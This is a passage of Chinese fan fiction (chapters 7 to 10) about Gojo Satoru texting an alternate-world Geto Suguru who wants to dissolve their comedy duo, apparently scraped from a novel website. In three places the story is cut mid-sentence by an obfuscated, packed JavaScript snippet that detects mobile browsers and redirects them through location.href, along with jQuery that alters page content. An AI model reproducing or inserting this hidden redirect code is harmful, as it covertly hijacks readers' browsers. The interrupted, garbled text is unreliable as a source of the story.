五条悟被赶去洗澡了，夏油杰往他书桌边一坐便抽了张报告纸出来，关于虹龙的任务报告早写早完事。 确实如“窗”初步估测的那样，虹龙的等级是可以评定为一级的。它的术式的确是特化防御，但劣势也很明显，只能覆盖至外部的鳞片，内部相当脆弱。 夏油杰调伏它之后更清楚这家伙的弱点了，难怪之前一直都只是用身体去撞击，不到万不得已根本不张嘴。如果不把目标杀死后才吞掉的话，说不定很轻易就能被敌人从内部击破了。 不过尽管有这样致命的弱点，虹龙也是他库存中非常强力的咒灵了，毕竟重量和体型都摆在那里，只要用力把敌人压成zip形态就OK。 夏油杰正如实记录着呢，忽的听见叮咚一声响——是五条悟的手机。 按理来说，他不想窥探挚友的隐私的。但五条悟的手机却不止响了这一下，震得夏油杰都没办法专心写报告了。 他拿着五条悟的手机去敲浴室门，“悟，有人找你。不过没打电话。” “啊？”五条悟想了想，在哗啦啦的水声里说，“那杰看看他什么事吧！” 他？男的？夏油杰略感震撼，打开手机一看，备注A的号码短讯没展开，但已未读十几条，而最新的短讯只在预览栏看到一个冷酷的“？”。 夏油杰：“……” 如果只是好朋友的话，会因为只是几个小时没回消息就直接甩问号看起来很不高兴的样子吗？非常开放的city boy夏油杰已经接受了一切，尽管对网恋怀有些不那么信任的态度，但他还是觉得这不是他能随随便便窥视的部分。 道德感意外很高的优等生立刻按下手机屏幕，大叫道：“我才不看！悟你洗完了自己出来看吧！” 夏油杰立刻缩回书桌前继续写报告去了。 就说夏油杰情绪不稳定吧！洗着澡突然又被大小声了的五条悟一头雾水：“怎么了啊？” 夏油杰没听见。 五条悟只能迅速冲掉泡沫，擦干穿上衣服出来，顶着一脑袋湿淋淋的头发开门，“到底怎么了？” 夏油杰手机递给他，表情略显窘迫，“说了有人找——悟总是问我干什么？” 他才不想给别人当恋爱军师！ 五条悟更是疑惑，“不是让杰先帮老子看看吗？” 想必就算是夏油杰，也会被搞笑艺人的神秘脑回路惊到吧？结果这家伙居然不看啊…… 夏油杰猛摇头，万分抗拒道：“我不能看。” 五条悟一边点开短讯一边问：“为什么不能看啊？老子还想让杰帮忙参谋一下——” “可以，没问题！”夏油杰飞快道，“但直接给我看就不用了吧？聊天记录是很私密的内容，就算要拿给其他人看，也得先征求另一方的同意！” 五条悟露出了厌烦的表情：“……哦。” 正论发射机又启动了。这又不是多私密的事情，干嘛搞得像他要逼良为娼似的？杰的道德感还真是在诡异的地方特别高，明明自己也是叛逆问题儿童一个。 “不许‘哦’，这件事可是很严肃的。”夏油杰头都不回就已经能顺利地预设出挚友的反应了，一本正经地说，“就算只是靠网络建立起的联系，也要尊重对方。” 五条悟敷衍地点头，“嗯嗯嗯老子知道了，杰自己说不看的哦。” 他觉得都不用去问艺人酱……要给搭档发解散通知却发错到了别人手机上，这么丢人的事情怎么可能允许第三个人知道？哪怕是另一个世界的自己也肯定不行吧。 夏油杰只要担心丢人就好了，五条悟考虑的可就多了。 体贴的五条悟大人站在挚友背后摇头又点头，和淋完水疯狂抖毛的小狗没什么区别。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156238|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他还做出一副经验充足的样子点评优等生的任务报告，“喔，杰写报告真正经呀。这个时候又不说是因为内讧才惊动咒灵了。对了，杰已经调伏那个龙了吗？老子想看耶，什么时候给老子看看？” “去把头发吹干！”被撒了一脑袋水的夏油杰忍无可忍地说。 “嘻嘻~”差点又把挚友搞急眼，五条悟这才心满意足地吹头发去了。 他一边将吹风机插头插上，一边打开手机准备检视艺人酱有什么高论，率先点进去的最新信息就是一个“？”，往上好几条也都在问【你在说什么】，看来对方对他后来那一大串骚扰信息十分疑惑，再往上的最初的消息是…… 【……事已至此，悟又在装什么傻呢？想封杀就封杀吧，悟的选择都有意义。】 五条悟：“……” 靠，什么东西。所以另一个搞笑艺人悟酱是那种可以走强取豪夺路线的霸道总裁吗？这么霸道怎么什么都没做，还要让他来处理这种苦恼？逊哦。 【我要走了，别来找我。】 “嗷！”五条悟突然发出一声大叫，他看艺人酱的如此坚决的跑路态度，不由自主地惊呆了，结果就让热风烫到了。 夏油杰终于回头了，非常无奈道：“悟，小心点啊。” 怎么有人吹个头发都会把自己烫到？ 五条悟很烦躁地抓了抓头发，长长地吐出了一口气，“真是有够糟糕的，这家伙性格好烂！” 他头发吹了个半干，关了吹风机抱着手机做出了一副要和对面激情开辩的样子——至少看起来精神头十足，一点都不像刚从低血糖状态醒来的样子。 看着不像是在网恋，更像是在哪个论坛上和人结了仇已经从论坛骂到短讯了。 夏油杰：“……” 哦，那也很正常。毕竟五条悟真是会在匿名论坛上四处拱火激怒网友的家伙。 夏油杰松了口气。 太好了，差点以为五条悟要比他先脱单了。原来只是在和网友吵架啊，搞得还挺吓人的。 五条悟挺生气的。 尽管并不清楚具体情况，照他对夏油杰的了解，手机那头的夏油先生一定是什么都没和搭档说过，就自说自话地决定了要解散，实在非同一般的过分。 他倒是已经顺利地从夏油杰那里成功拿下了要做一辈子挚友和搭档的承诺啦，另一个倒霉蛋可还连知道自己被分手了的机会都没有。就算五条悟实在不爱管同位体的死活，但对面的夏油先生的状态看起来稍微有点糟糕…… 因为对方发错信息而遭遇冷战的五条悟本来想直接喷他的，可转念一想，他后来又确实得到了更重要的东西。 于是五条悟还是默默把直抒胸臆的攻击性言论删掉了，改了改委婉得甚至有点恶心地打字：【老子才不是杰的漫才搭档，是异世界的魔法少年小悟哦>w<> 一不小心就收到了杰的短讯，虽然老子不知道杰到底为什么突然要解散，但比起自说自话着人间蒸发，不如先征求一下你搭档的意见再说吧(#￣皿￣)=○ ps:不知道他怎么想的，反正老子不同意，因为杰已经答应过我要和我组一辈子的搭档了（录音文件.mp4）】 五条悟觉得自己体贴极了，不仅语调柔和，还有颜文字卖萌，而且为了证明自己的身份，顺便将从夏油杰那里要来的证据也一并附上了。现在，不管对方信不信，他反正已经努力过了——！就算是那个还不知情的倒霉蛋同位体，也没有指责他的理由！ 从回复频率来看，五条悟猜测他的短讯会隔好一段时间才能顺利送到夏油先生手上，他才不会一直守在手机前面等回复呢。 五条悟放下手机准备继续去骚扰他的挚友，不过也不知道和先前的过量信息传输有没有关系……他才走到夏油杰背后，就听见手机叮咚一声响。 他只能调转脚步去看手机，一不小心就把已经下意识做好了反应的夏油杰晾在了一边。 夏油杰扭头，便看见五条悟犹如白狐扑食一般，轻巧起跳随后一头扎进了被子里，翻出手机一看，随后立刻抱着脑袋发出了崩溃的尖叫声，“烦死了啊啊啊啊啊啊啊啊啊——” 夏油杰：“……” 怎么了？吵架没吵赢吗？ 8. 第 8 章 A:【……真是有够奇幻的，好吧，我大概明白了。】 A:【小悟的建议我已经看过了，不过解散并不代表我和悟不再是朋友，只是处于某些大人的考量才不得不这样做。】 A:【让小悟为此烦恼并非我的本意，接下来的事我会找悟继续处理的。就不再打扰你了。】 夏油先生连发三条，阅读理解一下，意思就是“虽然我已经相信你真是异世界的五条悟了，但烦人的小屁孩不要对大人的作为指手画脚，我接下来要去践行自己的道路，永别了！” 讨厌，讨厌死了！这家伙比起只是稍微有点轴的优等生来说实在又固执得高出五层楼，偏偏他的拳头还打不进屏幕里，不管夏油先生到底有多嚣张，他也没办法使用物理劝服的手段。 从来和挚友闹过矛盾后都是靠吵架或打架就能和好的五条悟磨着牙在床上翻来滚去无能狂怒，可要让他就此放弃夏油先生的死活，随便这家伙爱干嘛干嘛去……他又有种自己输了的强烈不爽。 好吧，就算五条大人善良又有爱心，勉为其难帮不知道在干什么的同位体拯救一下他那摇摇欲坠的漫才组合！ 坚强的五条同学只是大叫了几声就翻了起来，也不管什么委不委婉会不会伤到人了，啪啪打字：【你这家伙真的超糟糕啊！自顾自地就说着解散之类的话就要走，既然是搭档的话，稍微听听对方的意见有那么难吗？！五条悟有同意吗？！笨蛋、白痴、蠢货！】 对面说着不打扰了，但被五条悟非常幼稚地骂了一通之后还是没忍住又回信道：【解散和分手其实是一样的，并不需要双方都同意才能生效。以我个人的判断，解散组合单人发展是对我和悟都更好的道路，也许在小悟看来很不可理喻……真是抱歉，成为了利益至上的大人。】 岂止他觉得不可理喻啊，正常人都会觉得莫名其妙吧！都已经作为搞笑艺人出道了，解散理由居然是想要单人发展，完全理解不能耶！五条悟打字说： 【这种蠢话老子是不会相信的，杰最好还是说实话。反正老子也没可能联系上那个被蒙在鼓里的搞笑艺人，把这边当树洞说点什么都随便你啦。再和老子聊聊吧。】 反正五条同学是绝对不会相信宇宙的某处竟然存在一个只是单纯想装傻给大家带来快乐的五条悟的，一定存在更重要的理由——比如只是想和杰一起站在舞台上大笑而已。 结果，相方就说着什么“觉得一个人发展会更好”的蠢话要和他解散了……太诡异了，搞笑的部分已经从五条先生装傻被吐槽变成五条先生真的是个傻瓜了诶！ ——五条悟已经非常自觉地将夏油先生放到了吐槽役的位置上去了。 A：【我说的就是实话，就像小悟说的那样，我们之间的聊天不会有其他人知道了，小悟也不会对我造成实质性的影响，我没有撒谎的必要。】 这家伙真是有够嘴硬的，连对着毫无暴露风险的异世界树洞也要努力伪装无恙…… 五条悟深吸了一口气，问：【那么，杰到底是以什么心情决定出道讲漫才的？】 他可是对自己和挚友的颜值都很自信的，如果只是为了利益……干嘛一开始要做搞笑艺人啊？直接走偶像路线不是更方便吗？ 真是的，连撒谎都撒得很拙劣，说真心话对于夏油杰类生物来说是这么困难的事情吗？ 想到这里，五条悟还不忘瞪了一眼在写任务报告的无辜挚友的背影。 这个问题好像一下戳到夏油先生的痛点了，对面陷入了长久的沉默中，隔了整整十分钟都没有任何动静。 最终确认对方今天恐怕真的不会回复了的五条悟却一点都没有吵架吵赢了的得意感，反而更加沮丧，把手机放下搓了搓脸蛋，盘腿坐起来，语调忽长忽短的，听起来格外怅然：“杰——老子有事要问你！” 他三言两语讲述了一对漫才搭档即将濒临解散的故事，并没有点明主角的身份，让夏油杰完全从旁观者的角度去评价这对倒霉搭档……不过自己却无法克制地带上了一些个人情感，就差指着主动提出解散的吐槽役的鼻子说他是个坏家伙了。 终于写完了任务报告，又听挚友狂暴吐槽了一通自己“听来的故事”，夏油杰总觉得既视感很强烈，甚至已经提前预设出了回答过后不得不面对的吵架环节…… 他反坐过来趴在椅背上，纠结片刻，还是不打算违背自己的本心，慢悠悠道：“其实也没那么过分吧？姑且也算是为了相方好……” 虽然夏油杰不追星，但先前在中学的时候也有听过同学们讨论明星，为了更加广阔的发展空间，搭档解绑也很正常，他完全可以理解这种做法。 不如说，如果因为是出道搭档就要一直捆绑，那看起来才会比较奇怪吧？ 但这种话已经不能再说了，否则五条悟就要暴起咬人了。 五条悟：“……” OK，他要把夏油杰排除出正常人的行列了。 夏油杰类生物的脑回路几乎是一样的，只不过现在还没出现那种会让杰也非要和他解散的情况……不行不行不行，这种事不能让杰来考虑。 “不过——”夏油杰勉为其难地找补道，“既然悟也说了他们是很好的搭档，不可能是为了利益要解散，或许还有一些更深层的原因呢。两人之间有什么矛盾吗？又或者只是单纯地不想干了之类的。” “矛盾？不可能啦。”五条悟摇摇脑袋，他没觉得那两人之间会有什么问题，只能顺着夏油杰的思路问，“杰觉得自己会因为什么理由放弃做咒术师？” 怎么又扯到自己身上了……夏油杰黑线道：“我才没可能放弃做咒术师。悟就算想类比，也搞错对象了吧？” 哦，对，夏油杰对咒术师这份职业可是很认真的。虽说五条悟不那么认同他那套“抑强扶弱”的理念，但也不能轻易否定夏油杰要在咒术师这一行坚定发光发热的决心。 “啊啊，说得也是，像杰这样的家伙才不会轻易退缩呢。所以，以后的任务报告也就都交给杰啦——”五条悟拖长声音，状作无意地随便把以后的工作也推了出去，身体软绵绵地往后一倒。 夏油杰冷酷道：“不要。之前说好的我写一次悟写一次，既然悟答应过了，就不能反悔，下次该轮到悟来写了。” 五条悟倒不是真的想反悔，只是随时随地找机会刺挠一下怪刘海狐狸罢了，又如愿以偿地被正论攻击过才举起手比了个OK的手势，另一只手又把被自己砸进被子里的手机掏出来。 夏油先生理所应当地还没给出任何回复，也不知道究竟是没看见，还是无话可说彻底破防…… 五条悟倾向于是后者，所以，要解散的真正理由绝对不是夏油先生自己说的“利益相关”。 虽说也不是不可以直接丢下不管啦……说到底他只是被异世界搞笑组合的解散风波卷进去的无辜路人，就算不再搭理也不会对他有任何影响。 五条悟长长地吐出一口气。 让他眼睁睁地看着杰坏掉这种事根本做不到嘛！就算是异世界的杰也做不到！ 只是，他现在倒是想管，但对面看起来却不想给他机会！超被动啊——如果对方打定主意一句话不说，五条悟隔着屏幕确实也没办法。 事实证明，突然出现的异世界通讯根本不是传说中的金手指，反而是一个大麻烦。 五条悟的拇指在按键上漫无目的地轻敲着，面对着再无更新的信息栏沉思了一会儿，默默翻了个身，打字道： 【算了，杰不想说的话也没关系，说点其他的也行，只要杰想说，老子都会在的。不许从此之后就不理老子T^T】 这条消息才发出去，五条悟就感到了一种熟悉的晕眩感，不知不觉间，六眼处理信息的容量又要被填满了。 看来他要接收到异世界的消息，除了消息本体之外，还会带来许多无意义的杂糅垃圾信息，加重大脑的负荷……果然，以后要和夏油先生聊天要控制一下频率。 他才醒没多久呢，怎么能又倒头就睡？这样想着，五条悟连忙关上手机，翻起来就问：“杰，下午吃什么啊？” 夏油杰也在看手机。 家入硝子刚刚通知他自己已经在返回的路上了，只不过辅助监督先生突然接到了其他命令，只能很抱歉地将她放在公交车站。下一班公交车还有一段时间才到，她回高专的时间要推迟了。 听见五条悟的问询，夏油杰耸了耸肩无奈道：“不知道，硝子带了什么就吃什么。悟饿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156239|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？不过悟才输完葡萄糖，这会儿又想吃东西了，真的不会得高血糖吗？” “不知道，六眼接收太多信息了，消耗很大——啊，听说无下限术式的领域展开效果和这个状态差不多，说不定老子会先学会领域展开呢。”五条悟漫不经心地说。 夏油杰叹了口气，“悟还是先学会术式反转吧。明明连‘赫’都放不出来呢。” 嘴上给挚友上压力，但夏油杰的身体还是很诚实的起身了。 五条悟叫住他，“杰去哪儿啊？” 夏油杰头也不回地说：“回寝室，我记得我抽屉里有颗糖……” 原来是那颗都快化了的牛奶糖……五条悟颇有点心虚地嗫嚅道：“那个、那个老子昨天已经吃掉啦。” 他昨天就是怀着满腔怒火进的夏油杰的寝室，虽然最后除开吃了颗糖之外什么也没做就是了……难怪夏油杰都没发现他进去过。 想到这里，他又变得理直气壮了起来，声音都大了很多，“老子昨天回来找杰，不仅没见到杰，而且连晚饭都没吃——进杰寝室找点东西吃怎么了？钥匙不是杰给老子的吗？” 夏油杰停下脚步，回头看了一眼坐在床上满脸“你要因为这个杀了我吗”，眨巴着眼睛貌似很无辜的五条悟，半晌点了点头，“也行。” 这家伙跟刚撕了家里卫生纸的坏猫似的，偏偏长得又实在美丽，一看就非常无辜……哼，邪恶银渐层。 偶尔夏油杰会感觉他们混熟的速度是不是太快了，上学期居然才花了不到一个月就已经交换了寝室钥匙，现在又已经是亲口承认还录音存档了的一辈子的挚友兼搭档…… 这一切对夏油杰来说都有点太超过了，可真要问起来……他也并不排斥。毕竟在普通人的社会里，很少有机会交往到可以互相交托性命的挚友，既然已经到了如此程度，再加上五条悟也说自己之前没朋友，那他们相处起来亲密一点也很正常。 ——夏油杰很擅长说服自己。 事已至此，算了，不要细想。 他还是迈步要走，五条悟大叫着跳下床跟上，“杰——” 夏油杰抬抬手，勉为其难地解释道：“我包里应该还有，我先找找看。悟突然跳下来干什么？等会儿又晕了我才不要接你。” 五条悟才不管，夏油杰说不接，那他就自己伸手按着挚友的肩膀，强行挂在夏油杰背上乱七八糟地跟着往寝室外走，胡乱点头道：“嗯嗯嗯知道了，等会晕倒了一定会压在杰身上的~” 夏油杰面上很嫌弃地翻了个白眼，却也没真把他甩开，两个人就这么脚跟脚地进了对门寝室。夏油杰拉开自己的书包翻了翻，勉强从其中翻出颗草莓硬糖递给了五条悟。除此之外，还有很多亮晶晶的糖纸，大概是上学期遗留下来的。 它们被放得很隐蔽，要不是夏油杰今天为了找糖十分仔细地翻来翻去，恐怕真得等洗包的时候才能发现它们。 “悟，吃完糖不要把糖纸也重新扔回我包里。”夏油杰把那些糖纸放到了自己书桌上，盘算着今晚顺便把书包洗了。 五条悟皱皱鼻子：“那老子总不能随地丢垃圾吧？” 夏油杰：“……” 夏油杰：“好吧。” 五条悟咔吧咔吧几下将糖嚼烂吞掉，脑袋总算灵光了不少，又把新产生的糖纸放夏油杰书桌上去，叠了好几厘米高，莫名其妙就戳到了他的笑点。 猫悄悄干了坏事，现在被饲主拿出来清算的时候竟然还有点得意。 五条悟看起来不大聪明地嘿嘿笑了几声，才说：“杰可以拿这些糖纸做手账呀，看起来还挺漂亮的。” 猫给饲主收集手账材料，猫好！ 夏油杰摆摆手说：“很忙的，才没时间做呢。悟感兴趣的话就自己拿回去吧。” 五条悟也觉得有点麻烦，“算了，以后丢垃圾桶吧。就不往杰包里丢了。” 两人又在夏油杰寝室里坐了一会儿，才接到家入硝子的电话。 女同学冷静道：“我把东西送到山下了。你们应该不会指望我一个人把它们搬上去吧？快点自己下来拿，我要回家了。” 不小心把女同学忘了的两个人渣缩了缩脖子，打着哈哈出门去领取女同学的投喂了。 9. 第 9 章 高专正式开学的早晨，终于返校的夜蛾正道满脸黑线地来清算两个趁着他不在，在高专里飙了两天龙的问题儿童。 高专警报的触发频率记录在两天内被刷出新高。 如果说第一次是忘记登记咒灵咒力，不小心而为之，此后的那许多次简直就是两个臭小鬼故意的。 ——反正平时也不会有不长眼的咒灵或者诅咒师敢往高专结界边晃悠，不如这回一次性让警报响个爽。 调戏警报调戏爽了的代价就是，五条悟和夏油杰不得不在开学第一天就听从夜蛾正道的勒令，苦哈哈地各自脑袋上顶着个包，人工清扫沉淀了整个暑假（其实也就一个多星期）灰尘的教学楼。 只不过夜蛾正道才转过身去，五条悟就非常轻快地把手里的扫把舞了一圈，显然是完全没认识到错误，下次应该还会再犯的类型。 夏油杰倒是勉强维持住了面上的乖巧，面无表情地挂在楼外擦窗户，但五条悟一看就知道此人是在借着窗户的反光检查自己的发型，大概先前夜蛾正道的教导也顺利地左耳朵进右耳朵出了。 夜蛾正道直觉感到不对，转过身来时两个男学生脸上的表情又变得万分专注起来，手上的活计也做得勤勤恳恳，好似地板和窗玻璃上就有他们的此生挚爱一般。 可是再仔细一看，这都好几分钟过去了，扫地的和擦窗户的还是清洁着他们之前就擦扫着的区域，连多演一步都没愿意，就让那一小片被刷得锃光瓦亮。 夜蛾正道：“……” 虽然他早就知道这两个家伙不会真的把这种处罚放在心上，但演都不演属实让班主任有点无语，静默片刻后下了最后通牒：“我现在有事，一个小时后我再回来，悟、杰，你们两个记得在我回来之前把清洁做完！” 班主任背着手快步离开了。 五条悟登时将扫把一甩，招呼道：“杰，快点，把你的咒灵叫出来！” 夏油杰也毫不拖沓，从虚空中冒出来的咒灵迅速接过了五条悟扔下的扫把开始扫地，窗外的清洁工作也被飞行咒灵代劳，更多的咒灵拿起了清洁工具迅速分散到了教学楼各处——它们都是已经登记过咒力的，不会再触发警报。 夜蛾正道难道不知道他们会立刻作弊吗？迅速离开只不过是为了给这两个小子创造作弊空间罢了。 否则，就靠这两个说不定搞清洁搞着搞着就玩起来了的问题儿童，一个小时能做完一间教室的清洁都算他们勤恳认真，更别提整栋教学楼。 两人迅速地将工作甩给了咒灵们，夏油杰便溜出教室洗手去了，五条悟一屁股往课桌上一坐，掏出了手机。 自上次他靠着质问初心直接给夏油先生干沉默起，已经有整整两天了。 夏油先生静默了整整两天。 五条悟当然不是被对面无视就会放弃的家伙，他在自己在意的事情上有旁人难以理解的毅力。 这两天以来，他一直锲而不舍地给夏油先生发骚扰短讯，尽管从来都没收到回复，但至少没被拉黑——没被拉黑，就还有希望！ 五条悟相当乐观，又编辑起了今天的短讯内容：【好在意——●^●明明杰都已经相信老子的身份了，怎么还是什么都不告诉老子啊？能和异世界通讯超酷的好不好？杰不配合的话根本就没办法开启故事了！老子会憋气到杰回复为止，不想做杀人犯的话就快一点理理老子啦:(】 文字看起来实在太冷冰冰的了，五条悟为了不给夏油先生上压力，还插入了好多颜文字……要知道，连他的正牌挚友夏油同学都还没这个待遇呢。 五条悟本以为这回的消息也照例会被无视，刚合上手机就听见叮咚一声响。打开一看却是夏油杰发来的。 AAAAA：【歌姬前辈从老家回来，给我们带了葡萄，虽说主要是带给硝子的，但硝子说勉为其难分我们一点。快来。】 不是这个！ 虽然这个也可以啦……但五条悟还是有点莫名的失望，叹了口气回了个【好！】，把手机揣进兜里准备出门，就又听到手机叮咚作响。 “真是的，又是谁啦？如果是骚扰短信，五条大人一定会骂你的哦。”五条悟嘟囔着，无奈地又把手机拿出来。 A：【小悟还真是有够坚持的，真的有那么在意和自己无关的事情吗？】 五条悟瞪大眼睛，沉默两天的夏油先生终于回复了！他连忙开始打字：【杰终于回来啦！这两天是怎么回事呀？难道杰也被垃圾信息砸晕了吗？不过理论上来说，作为普通人的杰应该没有那种接收端口啦……所以果然只是单纯地不想理老子？！】 不用特意卖萌之后他打字速度都快了很多，一大串消息噼里啪啦地就发出去了。 夏油先生似乎被秒回惊了一下，但还是迅速找到了其中的重点： 【只是在思考究竟要不要回复而已……这种通讯活动果然给小悟带来了负担吧？那些理论我也搞不懂，但小悟应该也明白我和你认识的那个夏油不算同一个人，四舍五入的话，为了陌生人承担一些本不应该承担的压力，根本没有意义。那些多余的好奇心比起自己的健康来说不重要吧？】 哟，意义哥原来是找到理由要和他断交了才来的。 五条悟无语：【无所谓啦，因为老子超强的，这点负担几乎都感觉不到呢。最重要的部分杰还没有回答呢！老子真是在意得两天都没有睡着，好过分！】 ——当然是骗人的啦，他这两天睡得可香了~只是为了唤醒夏油先生的良知而已。 从男同学的反应来看，这招是非常有用的，甚至足以让夏油杰勉为其难地让他一小会儿。 结果，这条刻意卖惨的短讯发出去之后……夏油先生又沉默了。 此人实在不按套路出牌，自认为也算掌握了夏油杰操作手册的五条悟略感迷茫，愈发难以想象夏油先生到底是为什么一定要解散跑路……他之前可是果断地否定了夏油杰说的两人之间存在矛盾，可怎么越来越感觉就是那两个人之间出了问题啊？ 过了好一会儿，夏油先生才慢悠悠地给出了回复。 A：【倒是不意外，就算是魔法小悟也很厉害呢。不过从小到大都和悟待在一起，差不多也该有点腻了吧？而且之前也说过了，悟单人的发展前景很好，不用配合搭档或许会更轻松，我也有自己的打算。】 五条悟：“……” 他都来不及关注“从小到大”四个字透露出来的信息量，就被夏油先生的逻辑打晕了，情不自禁地扶住了额头。 你什么意思？因为五条先生太厉害了，所以你就要放他单飞？五条先生有说过自己要单飞吗？手机对面的怪刘海讲不讲道理啊！ 五条悟被噎得有点气血上涌，可他又实在聪明敏锐得过头，就算夏油先生已经非常避免透露自己的情况，但他仍然能从只言片语里拼凑出一些真相。 这家伙，是因为搭档的实力太强，自己又被某些不知名的状况打击到，觉得自己无法再跟上，于是才产生了想要解散单走的想法…… 目前大概仍然没让搭档知情，毕竟那些消息都暂时让他这个异世界的无辜小悟截停了。 可恶，既然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156240|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没正式解散的话，作为搭档倒是出来管管啊，好几天过去了，夏油先生竟然都只是一个人待着吗？！讲漫才的那个白毛笨蛋到底在干什么？ 尽管他在这里着急上火，但能通讯的也就只有一个纯粹的犟种哑巴……没办法，只能交给他了。 放弃任何一个杰的事情，他可做不到！ 五条悟哒哒哒地打字把自己的推测发了过去： 【……老子说得不错吧？真是的，杰完全可以信任老子啊，老子这么聪明，提供一些建议还是完全OK的啦。】 对面沉默片刻，虽然文字很僵硬，但却隐隐透露出几分摆烂的意思：【那又如何？早说了我心意已决，小悟再怎么说也只是浪费时间而已。】 五条悟：“……” 五条悟气急败坏，终究没忍住展现出了几分邪恶银渐层的本性： 【你这家伙真是有够油盐不进的，如果杰真的觉得没有意义，为什么不干脆直接把老子拉黑掉？别说你真的做不到。既然这样，老子就当杰是在向老子求救了，所以绝对不会放着杰不管的。坦诚一点会死吗:)】 A：【……】 五条悟又默等了一会儿，结果夏油先生面对他的邪恶喵喵大叫，就真的只发了一串省略号过来，随后就陷入了良久的沉默中，犹如两天前一般开始装死。 遇事不决就装死，这家伙真的很过分耶。可转念一想，男同学又未尝不是这种性格的坏家伙……该说不愧是同位体吗？性格底色还是相同的啊。 但现在显然是对面的情况更严重吧！男同学知错就改了，可搞笑艺人已经半只脚踏上了提桶跑路的道路了诶！ 明明即将被划清界限的人不是自己，但五条悟还是又让他气得眼前一黑，好在终于走到了自己的教室门口，猛地推开门进去，看也不看就大喊道：“杰——” 他本来打算给夏油杰更新一下先前讲过的漫才组合的故事，只是很可惜，教室里除了家入硝子和庵歌姬之外没有其他人了。 庵歌姬回头，说着说着被吓了一跳，“五条，你声音那么大做什么……噫，那是什么表情啊！” 顺着她的视线看过去，向来嬉皮笑脸的白发少年表情少有的非常阴沉，莫名地让人觉得有点呼吸困难，实在压迫感十足……只有在这种时候才能让人意识到，这家伙之前还真是传说中不近人情的六眼神子。 五条悟瞟她一眼，勉为其难地揉了揉自己的脸，问：“哦，是歌姬啊。怎么了，老子刚才表情很烂吗？” 尽管刚刚稍受惊吓，但庵歌姬还是忍不住跳脚，“都说了是前辈！前辈啊！” 只不过她的跳脚顺利地又被五条悟无视掉了。 家入硝子只能一手按住学姐，另一手把分出来给五条悟的葡萄递给他，回答道：“超烂，简直像是刚被女朋友毫不留情地甩了似的。是同一个人吗？” 她说的就是存在于五条悟手机里的那个神秘对象。 五条悟不想跟她从多元宇宙开始解释，就胡乱地摇头又点头，接过葡萄就拿了两颗嚼了，含混道：“反正就那样吧，不想说。性格真烂，没办法坦然地把自己面对的困境说出来简直就是性格有缺陷啊！差劲！” 家入硝子不明觉厉：“……喔。” 一边说不谈，一边又气急败坏地吐槽对方性格烂，但就是没说立刻要把人家丢到旁边再也不管。 来咒术高专上学真是赚到，你甚至可以和两个傲娇男当同学，还能观赏他们同样都届不到的单箭头（笑），每天看这些节目，还是觉得做咒术师也挺有意思的。 10. 第 10 章 家入硝子轻轻一句就戳出了咒术界知名人物疑似恋爱中的消息。 庵歌姬不可置信道：“真的假的？五条也能谈上恋爱？还轮得到这家伙来嫌弃对方性格烂？！” “没谈，歌姬真是肤浅啊。非要说的话是马上要被他一脚踹开的关系……啊真是有够讨厌的！”五条悟很烦躁地抓了抓头发，问，“算了，真的不说他了。杰去哪里了？他不是刚刚才叫老子过来吗？” “诶、诶——”庵歌姬已经来不及计较他的说辞了，半掩着嘴因为此人刚提到的“他”而瞳孔地震中。 咒术师里怪人很多，是同性恋也很正常。但要突然说五条悟是gay，还是会让人非常震惊的。 呃，五条家知道他们家神子来高专上了一学期课就成为gay了吗？ 家入硝子很淡定地一指门外，“他刚刚被夜蛾叫走了，你出去找找吧。” 五条悟微微颔首，“行，那老子走了。对了，葡萄挺好吃的，谢啦歌姬。” 他身上的气氛忽的一改，至少不再像先前那么令人窒息，踏着轻快的步伐出门找人去了。 庵歌姬像是突然反应过来了似的，奇怪道：“连五条这家伙都有嫌弃别人性格烂的一天啊……不过他要是喜欢男性的话，那怎么——” 她说着还是住了口，虽然她对于两个人渣学弟都谈不上喜欢，但背后蛐蛐他们的性取向还是有点太不礼貌了。 家入硝子耸了耸肩，显然也清楚被前辈咽回喉咙里的话是什么，轻飘飘道：“谁知道呢~” 她就坐在笨蛋青春物语VIP席位等着看戏咯。 …… 有着六眼的辅助，五条悟打定主意要找人的时候都非常轻松，更何况范围只有小小的教学楼。 跟着咒力残秽的痕迹穿过走廊，五条悟原本想要大咧咧地直接给拐角处的师生二人打招呼，他们交谈的内容却先一步传入了他的耳朵里，让五条悟不由自主地放轻了脚步。 “杰，暑假停电的事情，你怎么不向我报告？”班主任的声音听起来非常沉重，“电路检修根本用不了那么久。” 夏油杰“啊”了一声，似乎终于反应过来班主任隐含的意思，试探道：“夜蛾老师是说，我其实是被什么人刁难了吗？” 